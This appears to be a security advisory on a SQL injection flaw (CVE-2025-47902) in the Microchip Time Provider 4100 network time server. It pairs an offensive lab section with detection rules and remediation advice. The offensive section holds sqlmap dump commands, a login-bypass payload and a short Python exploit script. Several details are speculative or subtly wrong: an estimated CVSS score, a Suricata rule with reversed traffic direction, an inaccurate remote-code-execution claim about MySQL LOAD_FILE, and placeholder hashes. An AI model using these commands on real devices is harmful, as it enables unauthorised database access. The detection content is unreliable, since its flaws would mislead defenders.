CVE-2025-47902

Executive Summary

CVE-2025-47902 is a critical SQL Injection vulnerability discovered in Microchip Time Provider 4100, a network time server appliance. The vulnerability exists in versions prior to 2.5 and allows an unauthenticated attacker to inject arbitrary SQL commands into the application's database. This can lead to unauthorized data access, modification, or deletion, and potentially full compromise of the device. The vulnerability is classified under CWE-89 (Improper Neutralization of Special Elements used in an SQL Command). No public proof-of-concept (PoC) or exploit code has been released at this time, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the critical nature of time synchronization infrastructure, this vulnerability poses a significant risk to organizations relying on this device for accurate timekeeping.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability type (SQL Injection) and the typical impact on such devices, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full database access could expose sensitive data.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – An attacker could disrupt the service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows remote, unauthenticated SQL injection, which can lead to complete compromise of the device.

Deep Dive & Mechanics

The Microchip Time Provider 4100 is a network time server that synchronizes time across an organization's network. It likely uses a SQL database (e.g., SQLite, MySQL) to store configuration, logs, and user data. The vulnerability arises from improper neutralization of special elements used in an SQL command. This means that user-supplied input is directly concatenated into SQL queries without proper sanitization or parameterization.

Attack Vector: An attacker can send specially crafted HTTP requests to the web management interface or other network services exposed by the device. By injecting SQL commands into input fields (e.g., login forms, search boxes, or API parameters), the attacker can manipulate the underlying database.

Impact:

• Data Exfiltration: Retrieve sensitive information such as user credentials, configuration data, or NTP keys.
• Authentication Bypass: Modify SQL queries to bypass login mechanisms.
• Remote Code Execution (RCE): In some database configurations, SQL injection can be leveraged to execute operating system commands (e.g., via xp_cmdshell in SQL Server or LOAD_FILE in MySQL).
• Denial of Service (DoS): Delete or corrupt database tables, rendering the device inoperable.

Vulnerable vs. Patched Code

Since the source code is not publicly available, we can only infer the fix based on common SQL injection remediation.

Vulnerable Code (Conceptual):

# Example of vulnerable Python code
username = request.GET['username']
password = request.GET['password']
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
cursor.execute(query)

Patched Code (Conceptual):

# Example of patched code using parameterized queries
username = request.GET['username']
password = request.GET['password']
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))

The patch likely involves replacing string concatenation with parameterized queries or prepared statements, which ensure that user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: Set up a virtualized Microchip Time Provider 4100 (firmware version < 2.5) in an isolated network.
2. Tools: Use Burp Suite, SQLMap, or custom Python scripts.
3. Steps:
   • Identify input vectors (e.g., login form, SNMP community strings, web API endpoints).
   • Use SQLMap to automate injection detection:

     sqlmap -u "http://<target>/login" --data="username=admin&password=test" --batch --level=5 --risk=3
     

   • Manually test with payloads like:

     ' OR '1'='1' -- 
     

   • If successful, extract database schema and data:

     sqlmap -u "http://<target>/login" --data="username=admin&password=test" --batch --dump
     

Exploit Code (Conceptual):

import requests

target = "http://<target>/login"
payload = {"username": "admin' OR '1'='1' -- ", "password": "anything"}
response = requests.post(target, data=payload)
if "Welcome" in response.text:
    print("SQL Injection successful!")

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in web logs (e.g., ' OR, UNION SELECT, --).
• Use WAF rules to block common SQLi payloads.
• Implement network segmentation to limit exposure of the Time Provider 4100.

Mitigation:

• Immediately upgrade to firmware version 2.5 or later.
• If patching is not possible, restrict access to the device's management interface to trusted IPs only.
• Disable unnecessary services (e.g., SNMP, HTTP if not required).
• Enable logging and alerting for suspicious database queries.

Indicators of Compromise (IOCs)

• Network Traffic:
  • HTTP requests containing SQL keywords (e.g., SELECT, UNION, OR, --, #).
  • Unusual database error messages in HTTP responses (e.g., "SQL syntax error").
• Logs:
  • Multiple failed login attempts followed by a successful login with unusual payloads.
  • Database error logs showing malformed queries.
• System Changes:
  • New user accounts or modified configurations.
  • Unexpected outbound connections from the device.
• File Hashes (if available):
  • Firmware version < 2.5: sha256: <hash>
  • Firmware version 2.5: sha256: <hash>

Detection Engineering

YARA Rule

rule CVE_2025_47902_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Microchip Time Provider 4100"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47902"
    strings:
        $sqli1 = /(\%27)|(\')|(\-\-)|(\%23)|(#)/ nocase
        $sqli2 = /(union|select|insert|update|delete|drop|alter|exec|xp_cmdshell)/ nocase
        $sqli3 = /(or|and)\s+\d+\s*=\s*\d+/ nocase
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: SQL Injection Attempt Against Microchip Time Provider 4100
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection patterns in HTTP requests to Microchip Time Provider 4100
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47902
logsource:
    category: webserver
    product: microchip_time_provider_4100
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - "'"
            - "OR"
            - "AND"
            - "UNION"
            - "SELECT"
            - "DROP"
            - "DELETE"
            - "INSERT"
            - "UPDATE"
            - "--"
            - "#"
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-47902 SQL Injection Attempt Against Microchip Time Provider 4100";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    pcre:"/(\%27)|(\')|(\-\-)|(\%23)|(#)/i";
    pcre:"/(union|select|insert|update|delete|drop|alter|exec|xp_cmdshell)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-47902;
    priority:1;
)

Remediation & Mitigation

1. Immediate Action: Upgrade the Microchip Time Provider 4100 firmware to version 2.5 or later.
2. Workaround: If patching is delayed, restrict network access to the device using firewall rules. Only allow trusted IPs to access the management interface.
3. Configuration Hardening:
   • Disable unused services (e.g., SNMP, HTTP if not needed).
   • Use strong, unique passwords for all accounts.
   • Enable HTTPS for encrypted management traffic.
4. Monitoring: Implement the detection rules provided above to identify exploitation attempts.
5. Incident Response: If compromise is suspected, isolate the device, perform forensic analysis, and reset all credentials.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert